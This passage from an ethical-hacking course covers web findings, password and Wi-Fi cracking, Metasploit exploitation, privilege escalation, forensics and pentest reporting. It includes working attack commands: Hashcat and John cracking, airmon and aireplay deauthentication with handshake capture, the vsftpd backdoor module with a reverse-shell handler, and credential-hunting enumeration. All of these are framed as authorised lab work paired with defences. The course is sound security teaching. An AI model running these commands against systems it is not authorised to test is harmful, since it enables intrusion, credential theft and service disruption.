Look for backup files (.bak, .old, .zip), configuration files, admin panels, API docs (/swagger, /openapi.json), and version control folders (/.git/) that a production server should never expose.
Expected headers: Strict-Transport-Security, Content-Security-Policy, X-Content-Type-Options: nosniff, Referrer-Policy, and cookies with Secure; HttpOnly; SameSite.
7.10Reporting a web finding (template)
Field
Example
Title
Stored cross-site scripting in comment field
Severity
High (CVSS 3.1 score and vector)
Location
POST /vulnerabilities/xss_s/ parameter mtxMessage
Description
Input is stored and rendered without output encoding
Proof
Request/response screenshot and the exact input used
Impact
Session theft, defacement, actions as another user
Remediation
Encode output in HTML context; add CSP; set HttpOnly on session cookie
References
OWASP XSS Prevention Cheat Sheet, CWE-79
Hands-on Lab
Lab 7: DVWA and Juice Shop
Map DVWA with Burp; document the pages and parameters.
Find and explain, at low level: SQL injection, reflected and stored XSS, command injection, file upload, CSRF, broken authentication.
For each, read the "impossible" level source and write the secure pattern.
Complete ten Juice Shop challenges across at least four OWASP categories.
Apply fixes to a small app you write (parameterised queries, output encoding, CSP header) and retest.
Deliverable: six findings in the report template above, each with evidence and fix.
Unit Quiz
Unit 7 quiz
Why does parameterising a query stop SQL injection?
Explain the difference between reflected, stored and DOM XSS.
What is an IDOR and how do you prevent it?
Which cookie flags protect session cookies?
Why must Burp's scope be set before testing?
Unit 8
Password, authentication and wireless security
Learning objectives: assess password strength and storage; perform authorised offline and online credential attacks; explain wireless protocols and their weaknesses; recommend defences for each.
All active testing (online login attempts, Wi-Fi capture and cracking) must run only against your own accounts, lab systems and access points. These techniques disrupt services and are illegal against systems you do not own or lack permission to test.
8.1How passwords are stored and why it matters
Linux stores a salted hash in /etc/shadow, not the password itself. Prefix shows the algorithm: $y$ yescrypt (modern default), $6$ SHA-512, $2b$ bcrypt (used elsewhere), $argon2id$ Argon2id.
A slow, salted, memory-hard hash (Argon2id, bcrypt, scrypt, yescrypt) makes offline guessing expensive per attempt; a fast hash (MD5, SHA-1, unsalted SHA-256) makes it cheap.
Password strength in practice is dominated by length and uniqueness, not special-character tricks; NIST SP 800-63B recommends length over complexity rules and checking against breached-password lists.
8.2Identifying and preparing hashes
hashid '$y$j9T$...' # guess the algorithm
hash-identifier
hashcat --example-hashes | less # list of hashcat mode numbers
gunzip -k /usr/share/wordlists/rockyou.txt.gz # unpack Kali's bundled wordlist
8.3Offline cracking with John the Ripper and Hashcat
# John the Ripper: straightforward dictionary attack
john --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt hashes.txt
john --show hashes.txt
# apply mangling rules (common substitutions, capitalisation, suffixes)
john --wordlist=/usr/share/wordlists/rockyou.txt --rules hashes.txt
# Hashcat (GPU accelerated); -m sets the hash mode (1800 = sha512crypt, 0 = MD5, 1000 = NTLM)
hashcat -m 1800 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1800 -a 3 hashes.txt ?u?l?l?l?l?d?d # mask attack: pattern-based brute force
hashcat --show -m 1800 hashes.txt
Attack modes: -a 0 dictionary, -a 1 combinator (two wordlists joined), -a 3 mask/brute-force, -a 6/-a 7 hybrid. Rules (best64.rule, rockyou-30000.rule) multiply a small wordlist into many realistic variants.
8.4Online (live) password attacks
Online attacks are slow, noisy and often trigger lockouts; use only against your lab services with explicit permission and sensible rate limits.
Password spraying (few passwords across many accounts) is stealthier and more realistic than brute force, and far more likely to trigger lockout policies if done against production without authorisation — never do this outside a lab or signed engagement.
8.5Defensive controls (teach this alongside every attack)
Control
Effect
Minimum length (12 to 16+), no forced complexity/rotation
Reduces predictable patterns
Breached-password check (for example via Have I Been Pwned's range API)
Broken; crackable in minutes; should not exist on any network
WPA2-PSK (CCMP/AES)
Common; vulnerable if passphrase is weak; handshake can be captured and cracked offline
WPA3-SAE
Current standard; resists offline dictionary attacks on the handshake itself (Simultaneous Authentication of Equals)
WPS
PIN-based pairing; PIN brute force and "Pixie Dust" attacks on vulnerable implementations
Management frame protection (802.11w)
Blocks forged deauth/disassociation frames
8.7Wireless assessment tools (your own AP and adapter only)
Requires a USB Wi-Fi adapter that supports monitor mode, passed through to the Kali VM.
sudo airmon-ng check kill # stop processes that interfere
sudo airmon-ng start wlan0 # enable monitor mode -> wlan0mon
sudo airodump-ng wlan0mon # see nearby networks and clients
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# in another terminal, deauth your own test client to force a handshake (authorised lab only)
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
wifite --kill # automates the discovery/capture/crack workflow
hashcat -m 22000 capture.hc22000 /usr/share/wordlists/rockyou.txt # modern WPA/WPA2 handshake format
kismet gives passive, broader wireless and Bluetooth visibility. bettercap supports Wi-Fi and other wireless attacks in a scriptable framework.
8.8Wireless defence
Use WPA3-SAE where supported, or WPA2-AES with a long random passphrase (treat it like a 20+ character password).
Disable WPS, or ensure it is a modern implementation resistant to PIN attacks.
Enable management-frame protection (802.11w).
Segment guest Wi-Fi from internal networks (VLANs), and monitor for rogue access points.
Enterprise networks should use WPA2/3-Enterprise (802.1X) with per-user certificates or credentials rather than a shared passphrase.
8.9Credential hygiene for testers themselves
Store any captured or cracked credentials encrypted, and delete them at the end of the engagement per the contract.
Never reuse a client's credentials outside the agreed scope, and never test them against other services ("credential stuffing" your own findings is out of scope misuse).
Hands-on Lab
Lab 8: crack, spray, secure
Generate ten sample password hashes with mkpasswd -m sha-512 at varying strengths; crack the weak ones with John, and show which resist a one-hour Hashcat run.
Run a lockout-respecting online test with Hydra against your own lab SSH account; observe the lockout after your configured faillock policy (Unit 7 of the Ubuntu course).
Set up your own test access point with WPA2-PSK, capture a handshake against your own test client, and crack it with a small custom wordlist you choose to include the actual passphrase (to see the technique end to end), then repeat with a passphrase not in any wordlist and show it resists.
Write a one-page password and MFA policy you would recommend to a client, citing NIST SP 800-63B guidance.
Deliverable: cracked/uncracked hash list with timings, lockout evidence, handshake capture notes, and the policy document.
Unit Quiz
Unit 8 quiz
Why is length more important than complexity rules for password strength?
Name two differences between John the Ripper's dictionary mode and Hashcat's mask mode.
Why is password spraying stealthier than traditional brute force?
Why can a WPA2-PSK handshake be cracked offline but a strong WPA3-SAE network resists this?
List three defensive controls that stop a stolen password from granting access.
Unit 9
Exploitation frameworks, privilege escalation and post-exploitation
Learning objectives: use the Metasploit Framework responsibly in a lab; understand how exploits, payloads and sessions relate; identify common Linux and Windows privilege-escalation paths; explain post-exploitation and its limits in a scoped engagement.
Everything in this unit runs against your own lab VMs (Metasploitable 2/3, a deliberately weakened Ubuntu server, HackTheBox/TryHackMe machines) only. Exploitation against systems outside your written scope is a crime. In every real engagement, exploitation is the minimum needed to prove impact, logged step by step, with changes reverted afterwards.
9.1Concepts
Term
Meaning
Exploit
Code that leverages a specific vulnerability
Payload
Code delivered and run after successful exploitation (for example a reverse shell)
Stager / stageless
A small payload that pulls in a bigger one, versus one self-contained payload
Listener / handler
Waits for a connection back from the payload
Session
An interactive channel to the compromised host (shell or Meterpreter)
Privilege escalation
Gaining higher privileges than the initial foothold (vertical) or access to other accounts/resources at the same level (horizontal)
Lateral movement
Moving from one compromised host to another
Pivoting
Using a compromised host to reach networks otherwise unreachable
9.2Metasploit Framework basics
sudo systemctl start postgresql
sudo msfdb init # once, sets up the database
msfconsole
Core workflow inside msfconsole:
search type:exploit platform:linux vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
show options
set RHOSTS 192.168.56.30
set RPORT 21
check # some modules support a safe check before running
run # or exploit
sessions -l
sessions -i 1
background
Useful housekeeping: db_import scans/ms2.xml to pull in Nmap results, hosts, services, vulns to query the database, workspace -a client1 to separate engagements.
Payload types:generic/shell_reverse_tcp (simple), windows/x64/meterpreter/reverse_tcp and linux/x64/meterpreter/reverse_tcp (feature-rich post-exploitation agent). Set a handler manually when needed:
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.56.10
set LPORT 4444
run -j
msfvenom builds standalone payloads for delivery outside a module:
Use only against your own lab VM, delivered the way a real finding would allow (for example an upload vulnerability you already proved).
9.3Reading and reviewing exploit code
Searchsploit:searchsploit vsftpd, searchsploit -x <path> to view, searchsploit -m <path> to copy locally and read before running.
Read any public exploit before running it: understand what it does, whether it matches the exact version in scope, and whether it could crash the service (a real risk in production).
Prefer the least disruptive proof: a benign command (id, whoami) over wiping or altering data, unless the client has asked for a deeper test.
9.4Linux privilege escalation
Systematic enumeration (manually, then cross-check with a script):
id; uname -a; cat /etc/os-release
sudo -l # what can this user run as root?
find / -perm -4000 -type f 2>/dev/null # setuid binaries
find / -writable -type d 2>/dev/null | grep -v '^/proc'
crontab -l; ls -la /etc/cron*; cat /etc/crontab
grep -ri password /etc 2>/dev/null
cat /etc/passwd | grep -v nologin
ls -la ~/.ssh 2>/dev/null; cat ~/.bash_history 2>/dev/null
Automated enumeration scripts (read them before running; run only in the lab): linpeas.sh, linux-smart-enumeration (lse.sh), pspy (watch processes without root).
Common escalation classes:
Class
Example
Reference
Sudo misconfiguration
sudo -l shows a binary that can edit files or spawn a shell
GTFOBins (lookup by binary name)
SUID binaries
A setuid program with a shell escape or command injection
GTFOBins
Writable service files / PATH hijacking
A root cron job runs a script in a world-writable directory
Check cron and systemd unit permissions
Kernel exploits
Outdated kernel with a known local-root CVE
Match uname -r to advisories; prefer patching over exploiting in real engagements
Credentials in files/history/env
Passwords in config files, scripts, bash history
grep sweeps, pspy for process arguments
Container escape
Docker socket exposed, privileged container
Check /var/run/docker.sock access, capabilities
GTFOBins (gtfobins.github.io) documents how common Unix binaries can be abused for privilege escalation, file read/write, or shell escape when misconfigured in sudoers or SUID — use it as a reference, not a list to run blindly.
9.5Windows privilege escalation (overview for breadth)
For learners who will also encounter Windows targets: whoami /priv, systeminfo, unquoted service paths, weak service permissions, AlwaysInstallElevated, stored credentials, and tools such as winPEAS, PowerUp, and Seatbelt. Depth is outside this course's main Linux focus; see the Resources unit for dedicated Windows-focused material.
Must stay within scope boundaries; proxychains or Metasploit routing through a session
Data access
Shows what an attacker could reach
Do not exfiltrate real data; document reachability instead
Persistence techniques
Understanding only, for detection engineering
Never leave real persistence on a client system; always clean up
After any lab exploitation: revert the VM to its snapshot, or explicitly remove anything added (users, cron entries, files, services).
9.7Mapping to detections (defence pairing)
For every technique in this unit, note the matching MITRE ATT&CK technique ID and how a defender would see it: process creation logs, auditd execve rules (Unit 7 of the Ubuntu course), EDR alerts, unusual outbound connections, new scheduled tasks or cron entries, and new local accounts.
Hands-on Lab
Lab 9: controlled compromise and remediation
Use Metasploit to exploit a known, intentionally vulnerable service on Metasploitable 2 (for example the vsftpd backdoor or a Samba flaw); obtain a session and run id/whoami as proof.
On the same box, enumerate privilege-escalation paths; find and use one sudo or SUID misconfiguration via GTFOBins to escalate to root in your lab only.
Document each command, what it did, and the matching ATT&CK technique ID.
Write the remediation for each weakness used (patch, remove SUID bit, fix sudoers entry) and apply it; show the attack path no longer works.
Revert the VM to a clean snapshot at the end.
Deliverable: a timeline of actions with commands, screenshots, ATT&CK mappings, and remediation steps applied and verified.
Unit Quiz
Unit 9 quiz
What is the difference between an exploit and a payload?
Why should you read exploit code before running it, even from a trusted database?
What does sudo -l reveal and why is GTFOBins useful alongside it?
Give an example of vertical versus horizontal privilege escalation.
Why must a lab VM be reverted after a privilege-escalation exercise?
Unit 10
Digital forensics and incident response
Learning objectives: apply forensic principles (preservation, chain of custody); acquire and analyse disk and memory images; investigate common Linux artefacts; connect findings to incident-response actions.
10.1Principles
Order of volatility: capture the most volatile evidence first — registers/cache, RAM, network state, running processes, disk, then logs and backups.
Preserve, don't alter: work on copies; hash the original and every copy (sha256sum); use write-blockers (hardware, or software such as mounting read-only) wherever possible.
Chain of custody: who collected what, when, how, and who has handled it since — a simple log with timestamps and hashes is often enough in training; real cases need formal documentation.
Document as you go: screenshots, command history, timestamps in UTC where possible to avoid timezone confusion.
10.2Acquisition
# disk image with hashing, from a write-blocked or read-only-mounted source disk
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.img hash=sha256 log=/mnt/evidence/disk.log
# or
sudo ddrescue /dev/sdb /mnt/evidence/disk.img /mnt/evidence/disk.log
sha256sum /mnt/evidence/disk.img | tee /mnt/evidence/disk.img.sha256
# memory acquisition (from a live system, lab only, with consent/authorisation)
sudo apt install avml # or LiME kernel module
sudo avml /mnt/evidence/memory.lime
Kali's forensic mode (boot option) avoids auto-mounting connected drives, reducing accidental writes during an investigation.
10.3Filesystem and file analysis with The Sleuth Kit and Autopsy
Autopsy gives a graphical front end over The Sleuth Kit: timeline analysis, keyword search, hash-set filtering (known-good/known-bad), web artefact extraction, and reporting.
File carving recovers files from unallocated space without filesystem metadata: foremost -i disk.img -o out/, scalpel, photorec (good for images and common document types).
10.4Memory forensics with Volatility 3
pip install volatility3 --break-system-packages # or use Kali's packaged version
vol -f memory.lime windows.info # (or linux.info for a Linux image)
vol -f memory.lime linux.pslist # running processes at capture time
vol -f memory.lime linux.bash # recovered bash history from memory
vol -f memory.lime windows.netscan # network connections (Windows)
vol -f memory.lime linux.malfind # suspicious memory regions
Memory often holds evidence that never touches disk: unencrypted credentials, decrypted data, injected code, and the true process tree at the time of compromise.
10.5Linux artefacts worth knowing
Artefact
Location
What it shows
Authentication logs
/var/log/auth.log, journalctl -u ssh
Logins, sudo use, failures
Shell history
~/.bash_history, ~/.zsh_history
Commands run (can be cleared; check timestamps with HISTTIMEFORMAT)
Cron and systemd timers
/etc/cron*, systemctl list-timers, unit files
Scheduled persistence
User and group changes
/etc/passwd, /etc/group, /var/log/auth.log
New or modified accounts
Package changes
/var/log/apt/history.log, dpkg -l
Installed or removed software
Network configuration
Netplan files, /etc/hosts, ip a
Rogue routes, altered DNS
SSH keys
~/.ssh/authorized_keys
Added attacker keys
Web server logs
/var/log/nginx/, /var/log/apache2/
Request patterns, exploitation attempts
Deleted/modified binaries
debsums -c, file hash comparison
Trojaned system tools
10.6Network forensics
Analyse captured traffic (.pcap) with Wireshark/tshark: follow TCP streams, extract files transferred over HTTP/FTP (File > Export Objects), identify beaconing (regular interval connections) and DNS tunnelling (unusually long or frequent TXT/NULL queries).
zeek turns raw packet captures into structured logs (conn.log, dns.log, http.log, files.log) that are far easier to search at scale than raw pcap.
tcpdump/tshark with filters for quick triage: tshark -r capture.pcap -Y 'dns.qry.name contains "example"'.
10.7Malware and file triage (static, safe)
file suspicious_binary
strings suspicious_binary | less
exiftool suspicious_document.pdf
binwalk suspicious_firmware.bin
yara -r rules/ suspicious_binary
sha256sum suspicious_binary # check against VirusTotal or local threat intel, not by uploading sensitive client files
Never execute unknown binaries outside an isolated, network-restricted, snapshotted analysis VM, and never on your main Kali system.
10.8Incident response process
Preparation: playbooks, contact lists, tooling ready before an incident.
Identification: confirm an incident is occurring; initial scope.
Containment: short-term (isolate host) and long-term (patch, rotate credentials, segment).
Eradication: remove the attacker's access and tools.
Recovery: restore from clean backups, monitor closely for recurrence.
Lessons learned: timeline, root cause, process and control improvements.
Map findings to MITRE ATT&CK techniques to communicate precisely with other defenders and to drive detection-engineering priorities.
Hands-on Lab
Lab 10: disk and memory investigation
Create a small disk image of a lab VM (or a provided practice image) and compute its hash.
Use mmls/fls/icat (or Autopsy) to recover a deleted file and verify its content.
Acquire a memory image from a lab VM and use Volatility to list processes, network connections and bash history.
Given a pcap of a simulated compromise, identify the attacker's IP, the exploited service, and any files transferred.
Write a short incident timeline: what happened, when, how you know, and what you recommend.
Deliverable: acquisition log with hashes, recovered artefacts, and the incident timeline.
Unit Quiz
Unit 10 quiz
What is the order of volatility and why does it matter?
Why hash an image immediately after acquisition, and again before analysis?
Name two things memory forensics can reveal that disk forensics usually cannot.
What does Kali's forensic mode change about drive handling?
Which log would you check first for SSH brute-force attempts on an Ubuntu host?
Unit 11
Reporting, capstone project, cheat sheet and references
Learning objectives: write a professional, evidence-based penetration-test report; complete an end-to-end scoped engagement against your own lab; use the quick-reference material for daily work.
11.1Why the report is the deliverable
A client pays for the report, not the exploitation. A technically brilliant test with a weak report fails the client; a modest test with a clear, prioritised, well-evidenced report succeeds. Write for two audiences at once: executives (impact, risk, priority) and engineers (exact reproduction steps and fixes).
Scope and objective in one paragraph, overall risk posture, top 3 to 5 findings in plain language, business impact, no jargon
Scope and methodology
What was tested, what was excluded, framework used (PTES/OWASP/NIST 800-115), dates and testing windows
Summary of findings
A table: ID, title, severity, affected asset(s), status (open/fixed/accepted risk)
Detailed findings
One per finding: title, severity with CVSS vector, affected asset, description, reproduction steps, evidence (screenshots/requests), business impact, remediation, references (CVE/CWE/OWASP)
Positive observations
Controls that worked well, to give a fair and balanced picture
Appendices
Full tool output, scope documents, timeline/log of testing activity
11.3Writing each finding well
Title: specific and searchable ("Stored XSS in comment field on /profile", not "XSS issue").
Severity: CVSS base score plus the vector string, and a short note if business context changes the practical risk up or down.
Reproduction steps: numbered, exact (URLs, parameters, payloads used, authentication state), so another tester or the developer can reproduce it without guessing.
Evidence: screenshots with the request and response visible, or terminal output; redact anything not needed to prove the point.
Impact: what an attacker could actually achieve, in business terms ("an authenticated low-privilege user can read any customer's invoices") not just technical terms.
Remediation: specific and actionable ("use parameterised queries in OrderController.php line 42", not "fix the SQL injection").
Severity ratings must be consistent across a report; keep a rubric (based on CVSS plus exploitability and exposure, as in Unit 6) and apply it the same way to every finding.
11.4Evidence handling and professionalism
Keep screenshots, command output and timestamps for every significant action, in the evidence folder structure from Unit 2.
Store the report and evidence encrypted; share only through the channel agreed with the client (encrypted email, client portal), never plain email with attachments of sensitive findings.
Retest after remediation and issue a short retest letter or addendum confirming what was fixed and what remains.
Never inflate severity for effect, and never understate a real risk; your credibility is the product.
11.5Note-taking and reporting tools
Tool
Use
CherryTree, Obsidian, Joplin
Structured engagement notes (preinstalled or easy to add on Kali)
11.8Exam-style question bank (sample, answers not included)
Explain the difference between a vulnerability assessment and a penetration test, and when a client should choose each.
Draft the executive-summary paragraph for a report where you found one Critical (unauthenticated remote code execution on an internet-facing host) and several Medium findings.
You find an SQL injection during a test but it is on a system explicitly marked out of scope in the RoE. What do you do?
Explain why nmap --script vuln output must be validated before inclusion in a report.
A client's CISO asks you to rate a finding lower than your rubric suggests because "it's not that important to us." How do you respond, and what do you write in the report?
Design a wordlist and rule strategy for cracking a set of hashes from a company using a known naming convention for passwords (for training purposes, assume authorised access to the hash dump).
Explain the difference between a SYN scan being filtered versus closed, and why this matters for your report's accuracy.
Outline the chain-of-custody documentation you would keep for a disk image collected during an authorised incident-response engagement.
Write the remediation text for a finding of "SSH allows password authentication and PermitRootLogin yes."
Describe how you would safely demonstrate impact of a privilege-escalation finding without leaving any persistent changes on the client's system.
Practice: TryHackMe, Hack The Box, PortSwigger Web Security Academy, VulnHub
Certification study guides: CompTIA PenTest+, CEH, eJPT, and (advanced) OSCP
Self-Check
Final self-assessment
I can explain the legal and ethical limits of penetration testing and produce a Rules of Engagement document.
I can install, update and configure Kali and select appropriate tool bundles.
I can explain core networking and protocols as they relate to security testing.
I can perform passive and active reconnaissance and build a target profile.
I can scan, enumerate and interpret results across common services.
I can run and validate a vulnerability assessment and prioritise findings.
I can identify and explain OWASP Top 10 issues with evidence and fixes.
I can assess password and wireless security and recommend defences.
I can use an exploitation framework responsibly and explain privilege escalation.
I can perform basic forensic acquisition and analysis.
I completed a full scoped engagement and wrote a professional report.
This completes the Kali Linux and Ethical Hacking course. It assumes and builds on the companion course, Ubuntu Linux Administration, for the systems-administration foundation every tester needs.
Finished the units? Test yourself.
Take the three-stage practice exam (Beginner, Intermediate, Expert), and revise any unit you missed.